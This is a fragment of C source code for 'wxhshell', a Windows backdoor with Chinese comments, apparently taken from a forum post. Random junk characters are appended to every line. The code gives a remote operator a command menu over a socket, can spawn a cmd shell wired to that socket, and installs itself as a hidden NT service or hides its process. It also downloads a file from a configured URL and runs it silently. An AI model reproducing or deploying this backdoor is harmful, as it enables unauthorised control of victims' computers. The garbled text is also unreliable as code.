    switch(cmd[0]) { 1NbG>E#Ol  
  R6 y#S&]x  
  // 帮助 ^+*N%yr  
  case '?': { 5 )A1\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *1ilkmL%  
    break; >,v`EIg  
  } eln)BW#  
  // 安装 HSw;^E)1  
  case 'i': { 2% MC Yn  
    if(Install()) im${3>26  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC*"Thuu  
    else l z/8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =h-U  
    break; t0( A4E  
    } ZAW^/bo<  
  // 卸载 `:ArT}F  
  case 'r': { Yc`o5Q\>  
    if(Uninstall()) Fh)IgzFj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48J@C vU  
    else +UCG0D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '<gI8W</  
    break; raW>xOivR  
    } g!|=%(G=  
  // 显示 wxhshell 所在路径 k 9_`(nx  
  case 'p': { $CRm3#+ ~  
    char svExeFile[MAX_PATH]; kPKB|kP\  
    strcpy(svExeFile,"\n\r"); ;/bewivNJ  
      strcat(svExeFile,ExeFile); H/"-Z;0{  
        send(wsh,svExeFile,strlen(svExeFile),0); vRznw&^E  
    break; S:u:z=:r  
    } }V'} E\\  
  // 重启 2pZXZ  
  case 'b': { R &n Pj~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DKH-Q(M56  
    if(Boot(REBOOT)) H!@kO]?n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ww)<E`eGi  
    else { -r!. 9q  
    closesocket(wsh); dydc}n  
    ExitThread(0); UI0( =>L  
    } ;RH;OE,A  
    break; m1j*mtu  
    } QpF;:YX^3  
  // 关机 vXev$x=w-  
  case 'd': { DMs,y{v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b k~( ^!R  
    if(Boot(SHUTDOWN)) N(O9&L*4fm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9 SJ E  
    else { i9rN9Mq?O  
    closesocket(wsh); @g|v;B|{  
    ExitThread(0); u/UrAqw  
    } @Rg/~\K  
    break;  nI[os  
    } W=ig.-  
  // 获取shell *}Xf!"I#]N  
  case 's': { :Oy%a'w   
    CmdShell(wsh); f<-Jg  
    closesocket(wsh); pLl(iNf]  
    ExitThread(0); s'3 s^Dd  
    break; We)xB  
  } oph}5Krd)  
  // 退出 ;^+\K-O]c  
  case 'x': { .7^c@i[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '"`IC\N^  
    CloseIt(wsh); R1Pk TZP&  
    break; )tG\vk=@  
    } NxfOF  
  // 离开 O],T,Z?z  
  case 'q': { LhN|1f:9:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bUs0 M0y  
    closesocket(wsh); UJ%R   
    WSACleanup(); SP@ >vl+;  
    exit(1); "RedK '7g  
    break; /9 3M*b  
        } ;:iY)}  
  } 8bxfj<O,  
  } O8^A5,2@3>  
PoNi "Pv  
  // 提示信息 9q)Kfz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N>Xo_-QCY  
} \TIT:1  
  } j 'FVz&  
?}qttj  
  return; '|ad_M  
} y~(h>gi,x  
?llXd4  
// shell模块句柄 i|c'Lbre`  
int CmdShell(SOCKET sock) y+Ra4G#/}  
{ Y y5h"r  
STARTUPINFO si; }~2LW" 1'  
ZeroMemory(&si,sizeof(si)); 88Ey12$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6e(Qwt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8<5]\X  
PROCESS_INFORMATION ProcessInfo; a@8v^G  
char cmdline[]="cmd"; `Nv=B1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w}L]X1#sF  
  return 0; %W'v}p  
} ^9m\=5d  
$': E\*ICb  
// 自身启动模式 ; a/X<  
int StartFromService(void) %) /s;Q,  
{ t9nqu!);  
typedef struct EJj.1/]|r  
{ 5]~'_V  
  DWORD ExitStatus; -M~8{buxv  
  DWORD PebBaseAddress; 9 *xR6  
  DWORD AffinityMask; czA5n  
  DWORD BasePriority; R$v[!A+:'  
  ULONG UniqueProcessId; XND|h#i8  
  ULONG InheritedFromUniqueProcessId; PvzcEV  
}   PROCESS_BASIC_INFORMATION; 9Q.rMs>qj  
S O4u9V  
PROCNTQSIP NtQueryInformationProcess; \@Ts+7%  
b`(}.r?W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -] LY,M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9 eR-  
=MSr/O2  
  HANDLE             hProcess; z-BXd  
  PROCESS_BASIC_INFORMATION pbi; $:BKzHmg  
iMAfJ-oN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )5rb&M}  
  if(NULL == hInst ) return 0; 6 uv#de  
QFE:tBHe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6O|@xvg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }bs+-K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w+C7BPV&  
j1^I+j)  
  if (!NtQueryInformationProcess) return 0; k@\ iGqo  
VX].3=T8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >i_ 2OV  
  if(!hProcess) return 0; \}+_Fo/  
EtJHR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ua<5U5  
@V(*65b2  
  CloseHandle(hProcess); t=rEt>n~L  
j-0z5|*KE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lyIl-!|  
if(hProcess==NULL) return 0; eds o2  
2X.r%&!1M  
HMODULE hMod; Z"Zmo>cV4  
char procName[255]; +Um( h-;  
unsigned long cbNeeded; *e<[SZzYZ  
Bs13^^hu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SlgN&{ Bk  
nv GF2(;l  
  CloseHandle(hProcess); ccNd'2P  
|)nZ^Cc  
if(strstr(procName,"services")) return 1; // 以服务启动 _?<|{O  
7zA'ri3w  
  return 0; // 注册表启动 8R2QZXJb-  
} Jy^u?  
#~#R-   
// 主模块 :X0k]p  
int StartWxhshell(LPSTR lpCmdLine) ]@dZ{H|  
{ 0f~C#/[t7  
  SOCKET wsl; %9w::hav  
BOOL val=TRUE; b+,' ;bW  
  int port=0; +$u$<z3Q  
  struct sockaddr_in door; x%}^hiO<q  
#J@[Wd  
  if(wscfg.ws_autoins) Install(); Fa?~0H/DL  
7/!8e.M\  
port=atoi(lpCmdLine); >,TUZ  
t,,k  
if(port<=0) port=wscfg.ws_port; T3~k>"W  
Q(@U2a8  
  WSADATA data; Z?}dq-Vh&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R(('/JC  
Hx#;Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 2'j!"xv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H#NCi~M>3  
  door.sin_family = AF_INET; }0eF~>Df  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r) HHwh{9  
  door.sin_port = htons(port); ?6yjy<D)$e  
[ OM7g'?S0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3_txg>P"  
closesocket(wsl); G.rrv  
return 1; 5Eg1Q YVt  
} h^?\xm|  
Ewu O&q  
  if(listen(wsl,2) == INVALID_SOCKET) { 8s"%u )  
closesocket(wsl); IHe/xQ@  
return 1; iEd\6EZ  
} /h+8A' ,  
  Wxhshell(wsl); p=;=w_^y  
  WSACleanup(); cJN7bA {  
u6T+Cg  
return 0; -j%,Oo  
9bP^`\K[N  
} 9)}[7Mg:C  
wLmhy,  
// 以NT服务方式启动 +,2:g}5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EKA#|^Q:NX  
{ -}=i 04^  
DWORD   status = 0; Rec6c&5_  
  DWORD   specificError = 0xfffffff; }v Z+A  
' qWALu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m5L-67[sB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +g` 'J$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BbW^Wxd3  
  serviceStatus.dwWin32ExitCode     = 0; @{YS}&Q/  
  serviceStatus.dwServiceSpecificExitCode = 0; q;QbUO  
  serviceStatus.dwCheckPoint       = 0; iTFdN}U  
  serviceStatus.dwWaitHint       = 0; *FC=X)_&W  
P\w\N2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k40* e\  
  if (hServiceStatusHandle==0) return; 2r!s*b\Ix  
N"8_S0=pw  
status = GetLastError(); #.it]Nv{  
  if (status!=NO_ERROR) AB F"~=aL  
{ ko Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,RJtm%w  
    serviceStatus.dwCheckPoint       = 0; /a^1_q-bX  
    serviceStatus.dwWaitHint       = 0; fBalTk;G{U  
    serviceStatus.dwWin32ExitCode     = status; z8QAo\_I(  
    serviceStatus.dwServiceSpecificExitCode = specificError; :|_'fNd+!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &=#[(vl  
    return; >_o}  
  } &QDW9 Mi  
U'8bdsF_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^.#jF#u~  
  serviceStatus.dwCheckPoint       = 0; J/\V%~ 1F  
  serviceStatus.dwWaitHint       = 0; JQ,1D`?.a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [ JpKSTg[  
} :,Pn3xl  
p89wNSMl[  
// 处理NT服务事件,比如:启动、停止 m1),;RsH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $UgA0]q n  
{ `wus\&!W  
switch(fdwControl) 3D` YZ#M  
{ l% ?T2Fm3>  
case SERVICE_CONTROL_STOP: 3|1i lP  
  serviceStatus.dwWin32ExitCode = 0; w9NHk~LHKF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ux_Mrh'  
  serviceStatus.dwCheckPoint   = 0; ?**+e%$$  
  serviceStatus.dwWaitHint     = 0; oX0D  
  { >}!mQpAO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :X.b}^Z(  
  } +VCGlr  
  return; )#.<]&P}  
case SERVICE_CONTROL_PAUSE: jgbLN/_{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G>wqt@%r9  
  break; twP,cyR  
case SERVICE_CONTROL_CONTINUE: Fb^:V4<T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RnhL< Ywu  
  break; ,_yh z0.  
case SERVICE_CONTROL_INTERROGATE: /x5rf  
  break; VCn{mp*h  
}; LM}Ib.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `|,`QqDQ  
} }*lUah,@  
+w.JpbQ&  
// 标准应用程序主函数 p$h4u_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^zt-HDBR_  
{ {.QEc0-  
@$LWWTr;  
// 获取操作系统版本 5D_fXfx_|  
OsIsNt=GetOsVer(); ;\lW5ZX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); et,f_fd7v  
sYjpU  
  // 从命令行安装 O>^C4c!  
  if(strpbrk(lpCmdLine,"iI")) Install(); P5 K' p5}#  
*tgnYa[l  
  // 下载执行文件 | \'rP_I>  
if(wscfg.ws_downexe) { T{Sb^-H#X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qxFB%KqU  
  WinExec(wscfg.ws_filenam,SW_HIDE); TQx.KM>y  
} IG|X!l  
o3I Tr';  
if(!OsIsNt) { fRtUvC-#H  
// 如果时win9x,隐藏进程并且设置为注册表启动 O)ME"@r@:  
HideProc(); 'h^0HE\~p  
StartWxhshell(lpCmdLine); l~6?kFy9h  
} L5#P[cHzz  
else E_8\f_%wK  
  if(StartFromService()) blTo5NLX  
  // 以服务方式启动 1E73i_L  
  StartServiceCtrlDispatcher(DispatchTable); 9[m6Li  
else mf}O-Igte  
  // 普通方式启动 t?9v^vFR  
  StartWxhshell(lpCmdLine); Q\cjPc0y  
~.UrL(l=  
return 0; 4eikLRD,  
}
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只看该作者 1 发表于: 2006-10-10
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